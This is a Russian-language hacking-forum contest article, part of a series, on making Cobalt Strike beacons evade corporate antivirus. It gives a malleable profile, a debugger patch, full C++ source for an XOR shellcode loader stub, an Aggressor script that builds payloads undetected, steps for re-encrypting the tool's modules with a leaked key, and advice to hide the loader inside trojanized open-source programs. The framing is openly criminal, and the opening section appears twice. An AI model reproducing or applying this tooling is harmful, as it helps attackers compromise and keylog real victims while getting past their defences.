Вообще существует в проекте 3+ статьи, но в конкурсе будет участвовать одна, а именно 3 статья.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.
Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.
Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:
Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...
Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:
Но на практике банальное сканирование памяти, сводит на нет реализацию данных опций в профиле.
Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.
Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:
У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:
Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:
Таким образом артефакт будет находиться в памяти в вечном цикле, и при этом у нас не отработает код payload
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.
Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.
В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):
Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/aggressor-script/hooks.html
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.
Теперь нужно пояснить некоторые моменты в этом коде.
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.
Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:
Просьба не пугаться - это модифицированный скрипт из стандартного пакета скриптов Artifact Kit (Perl он и в Африке Perl пусть даже и называется Sleep) и этот код скрипта специально адаптирован под код нового стаба.
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать...
======================================================================================
Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.
Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.
И здесь я хочу пояснить на маленьком примере, как происходить будет подобный детект...
Для примера, давайте посмотрим на скриншот ниже:
Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:
Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o
Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.
Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код расшифровки написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
Стоит лишь указать команду как запускать данную утилиту, для расшифровки файлов *.o и *.dll из директории sleeve в cobaltstrike.jar
Хотелось бы отметить тот факт, что если мы допустим решили подменить BeaconLoader.HA.x86.o, то нужно понимать, что здесь есть ограничения в размере самого кода и он не должен превышать 5kb - хотя этого вполне достаточно, чтобы реализовать очень многое, да и даже, если этого не хватит, то можно воспользоваться функцией сжатия aPLib, которая настолько в размере мала, что можно считать что ее нет вообще, а сжимает код настолько хорошо, что даже лучше всех остальных алгоритмов сжатия, к примеру, того же UPX...
Как расшифровать мы уже знаем, но как же зашифровать обратно наши созданные, модифицированные или почищенные файлы?
Теперь мы подошли к утилитам, которые имеются на борту в cobaltstrike.jar
Наверное, многие уже знакомы с таким инструментом, как c2lint и который можно запустить из батника:
Таким образом мы можем проверить наш профиль на наличие примитивных ошибок.
В CobaltStrike существует еще (из многочисленных) один инструмент SleeveUtil
Вот эта утилита и позволит нам зашифровать нужные файлы.
Но SleeveUtil имеет специфичный формат использования, который отличается от обычного привычного нам, ну например, того же c2profile.Lint
Дело в том, что для того чтобы зашифровать файлы *.o и *.dll нужен специальный ключ, он находится в зашифрованном файле cobaltstrike.auth - более подробно я о нем писал в предыдущих статьях.
Но это еще не все, этот ключ в определенном формате должен находится в специальном файле resourcekey.bin в одной директории с cobaltstrike.jar
resourcekey.bin с нужным ключом от версии Cobalt Strike v4.3 я добавил в архив, который можно будет скачать ниже.
После того как мы разместим этот файл в одной директории с cobaltstrike.jar можно будет приступить к шифрованию *.o и *.dll файлов.
Еще одним важным условием является то, что файлы *.o и *.dll должны находится в директории resources, которую нужно создать в директории, где находится cobaltstrike.jar и уже в resources разместить нужные файлы для шифрования.
Теперь после всех этих манипуляций можно запустить утилиту шифрования из батника:
В результате будет создана директория bin, а в ней директория sleeve и вот в этой директории и будут находится годные зашифрованные файлы.
Но это еще не все, для того чтобы CobaltStrike их начал использовать, их нужно разместить в директории sleeve, которая должна также находиться в одной директории с cobaltstrike.jar
Теперь мы умеем шифровать и расшифровывать файлы *.o и *.dll
Ну хорошо, если с *.dll файлами все понятно их надо расшифровать, почистить от детектов и обратно зашифровать и все, но вот с *.o файлами дела обстоят куда сложнее.
Я хочу более подробно описать некоторые нюансы касательно файлов *.o
Просто так взять написать код в cpp файле и скомпилировать не получится, скорее все на выходе получится "неправильный" *.o(obj) с точки зрения CobaltStrike'а
Для примера, после запуска CobaltStrike'а в консоли может появиться предупреждение типа такого: Assertion failed: 1024 <= 10 (value) <= 5120 does not hold
CobaltStrike сообщает, что секция кода меньше требуемой она равна 10 байтам, а требуется минимум 1024.
Все дело в том, что компилятор создает в obj файле несколько секций кода, а парсер CobaltStrike'а берет первую, а там может быть код какой-нибудь инлайн функции размером в 10 байт.
Далее ниже я покажу как правильно создавать нужный код, но, а сейчас давайте воспользуемся утилитой OBJExecutable из cobaltstrike.jar
С помощью этой утилиты можно посмотреть данные из файлов с расширением *.o или *.obj
Вообще это некий парсер obj файлов, но он также проверяет эти самые obj файлы на валидность
Запустив эту утилиту с помощью батника:
На выходе мы получим в консоли дамп данных, где можно увидеть некоторые значения, которые могут понадобиться при определенных обстоятельствах.
Для примера, давайте посмотрим на эти данные:
Нас интересует значения .text$mn$3.SizeOfRawData 0xa 10 - мы видим размер этой секции кода равен 10 байтам.
Если посмотреть ниже, то можно заметить другую секцию кода .text$mn.SizeOfRawData 0x339 825 - но уже с другим размером секции кода.
А нам требуется минимум секция кода 1024 байта.
Теперь давайте взглянем на правильный шаблон кода (в этом примере кода, убрано все лишнее для наглядности), и разберем некоторые важные моменты:
Первое, что хотелось бы отметить, чтобы добавить лишние байты в секцию кода (если вдруг секция кода окажется меньше чем 1024 байта), можно воспользоваться инициализацией данных в стеке, а именно int pump[] = { 0,0,... }; - добавляете нужное количество нулей и все.
Второе, ваш код (а точнее шелкод) должен быть независимым от чего-либо (вернее от всего), то есть, нужно "ручками" находить указатели на API функции и только после этого их использовать, а данные размещать непосредственно в секции кода...
Третье и самое важное стартовать ваш код должен с начала секции. Я специально показал как этого можно достичь при помощи функции void __cdecl start() {EntryPoint();} - эта функция должна быть обязательно первой даже выше всех заголовочных файлов.
А реализация всех остальных функций должна находиться ниже функции, которая определяется в директиве /entry:
После того как скомпилируется исходный код, obj можно будет найти в директории Release, если допустим компиляция осуществлялась в Visual Studio 20XX
Если все правильно сделали, то можно будет шифровать этот obj и использовать по прямому назначению.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.
Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.
Код:
stage {
set allocator "HeapAlloc";
set name "winrar.dll";
set module_x86 "mshtml.dll";
set checksum "0";
set entry_point "180000";
set image_size_x86 "5977600";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set rich_header "";
set sleep_mask "true";
set smartinject "true";
transform-x86 { # transform the x86 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "getIndex"; # Change this text
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
}
Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:
Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...
Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:
Или, например, sleep_mask:Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
Код:
Obfuscate Beacon, in-memory, prior to sleeping
ВАЖНО: стоит также отметить, что сейчас антивирусы имеют на борту сканеры памяти, которые не нужно вручную запускать, они все сами сделают и предотвратят угрозу даже не спрашивая юзера.
Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.
Стоит также отметить, что это не единичная проблема, я также некоторые проблемы затрагиваю в первой и во второй статьях. (в частности, атаки на командный сервер...)ВАЖНО: многие, не понимая истиной причины детектов антивирусами начинают винить крипт, но как видим на практике крипт здесь позволил зловреду запуститься без проблем, но так как сам маяк(beacon) не чистится автором CobaltStrike мы имеем в результате плачевный результат.
Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:
У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:
Код:
00402CD0 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4 83E4 F0 AND ESP,FFFFFFF0
00402CD7 FF71 FC PUSH DWORD PTR DS:[ECX-4]
00402CDA 55 PUSH EBP
00402CDB 89E5 MOV EBP,ESP
00402CDD 53 PUSH EBX
00402CDE 51 PUSH ECX
00402CDF 83EC 10 SUB ESP,10
00402CE2 E8 09FBFFFF CALL 004027F0
00402CE7 C70424 00000000 MOV DWORD PTR SS:[ESP],0
00402CEE E8 4DEBFFFF CALL 00401840
00402CF3 8B1D 98814400 MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9 C70424 10270000 MOV DWORD PTR SS:[ESP],2710
00402D00 FFD3 CALL EBX
00402D02 50 PUSH EAX
00402D03 EB F4 JMP SHORT 00402CF9
Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:
Код:
00402CD0 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4 83E4 F0 AND ESP,FFFFFFF0
00402CD7 FF71 FC PUSH DWORD PTR DS:[ECX-4]
00402CDA 55 PUSH EBP
00402CDB 89E5 MOV EBP,ESP
00402CDD 53 PUSH EBX
00402CDE 51 PUSH ECX
00402CDF 83EC 10 SUB ESP,10
00402CE2 90 NOP
00402CE3 90 NOP
00402CE4 90 NOP
00402CE5 90 NOP
00402CE6 90 NOP
00402CE7 90 NOP
00402CE8 90 NOP
00402CE9 90 NOP
00402CEA 90 NOP
00402CEB 90 NOP
00402CEC 90 NOP
00402CED 90 NOP
00402CEE 90 NOP
00402CEF 90 NOP
00402CF0 90 NOP
00402CF1 90 NOP
00402CF2 90 NOP
00402CF3 8B1D 98814400 MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9 C70424 10270000 MOV DWORD PTR SS:[ESP],2710
00402D00 FFD3 CALL EBX
00402D02 50 PUSH EAX
00402D03 EB F4 JMP SHORT 00402CF9
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.
Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.
ВАЖНО: стоит отметить, что после такой чистки нам даже не нужен будет мегаприватный крипт, а мы ведь знаем, что, когда нужен срочно такой крипт... его как обычно хрен найдешь - ЗАКОН ПОДЛОСТИ. А также будет экономия денег на крипте.
В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):
Код:
set EXECUTABLE_ARTIFACT_GENERATOR {
}
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.
Код:
#include <Windows.h>
#define DATA_SIZE 0x46000
#pragma pack(1)
typedef struct DATA {
BYTE XKEY;
DWORD size;
BYTE payload[0];
} DATA, *PDATA;
#pragma pack()
typedef void(__cdecl *START)();
#pragma comment(linker, "/entry:EntryPoint")
#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#pragma data_seg()
int __cdecl EntryPoint()
{
PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
PDATA pdata = (PDATA)&data[0];
BYTE XKEY = pdata->XKEY;
DWORD size = pdata->size;
for(DWORD i = 0; i < size; i++)
{
buffer[i] = pdata->payload[i]^XKEY;
}
START start = (START)buffer;
start();
return 0;
}
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.
ВАЖНО: хотелось бы сказать, что это всего лишь пример, как можно сделать, и так как этот код попал в паблик, естественно он будет уже детектиться!
Но этот код всегда можно модифицировать или использовать другой компилятор, ну например, delphi я бы его и посоветовал, так как там можно такие вещи сотворить, что антивирусы не смогут угнаться за сгенерированными рандомными сэмплами.
Все зависит только от вас и вашей фантазии.
для примера, воспринимайте это как совет: можно зайти, ну например, на github.com (или на другой подобный сайт sourceforge.net их в сети много) и попробовать поискать исходники какой-нибудь маленькой популярной программы, там обычно еще в придачу будет написано как скомпилить эту софтину, так вот берете и вставляете в нее этот код что выше, меняете где-нибудь вначале от точки входа, на код чтобы был запуск в отдельном потоке кода стаба и все, даже ничего не нужно придумывать, все за нас уже давно сделали... и пусть потом (заслуженные ветераны труда) антивирусные специалисты добавляют этот софт в свои базы антивирусов, чтобы у них были постоянные ложные детекты и жалобы от их недовольных пользователей. Нам на наш век опенсорса хватит.![]()
Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:
Код:
# Arguments
# $1 = artifact file (e.g., artifact32.exe)
# $2 = shellcode
# Return
# our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$handle $stub $key $index $payload $resname $buffer $edata $x');
($resname, $payload) = @_;
# read in the executable template
$handle = openf("C:\\CS43\\resources\\Stub.x86.exe");
$stub = readb($handle, -1);
closef($handle);
# generate a random key
$key = @();
$key[0] = int(rand() * 253) + 1;
# pack data into a buffer
$buffer = allocate(1024);
# [xor key] - 1 byte
writeb($buffer, chr($key[0]));
# [length of payload] - 4 bytes
writeb($buffer, pack("i-", strlen($payload)));
# find the location of our data in the executable
$index = indexOf($stub, 'A' x 1024);
# pack our encoded payload into the buffer
for ($x = 0; $x < strlen($payload); $x++) {
writeb($buffer, chr((byteAt($payload, $x) ^ $key[0]) & 0xFF ));
}
# retrieve the contents of the buffer.
closef($buffer);
$edata = readb($buffer, -1);
# return our encoded shellcode.
return replaceAt($stub, $edata, $index);
}
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать...
======================================================================================
Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.
Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.
Код:
ВАЖНО: Разные антивирусы реагируют по-разному на различные модули CobaltStrike'а, все зависит от обстоятельств и различных нюансов... (а вообще детект детекту рознь, сегодня на радаре антивирусов ничего нет, а уже через час или два какой-нибудь модуль CobaltStrike'а может светиться детектами как новогодняя елка.)
Для примера, давайте посмотрим на скриншот ниже:
Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
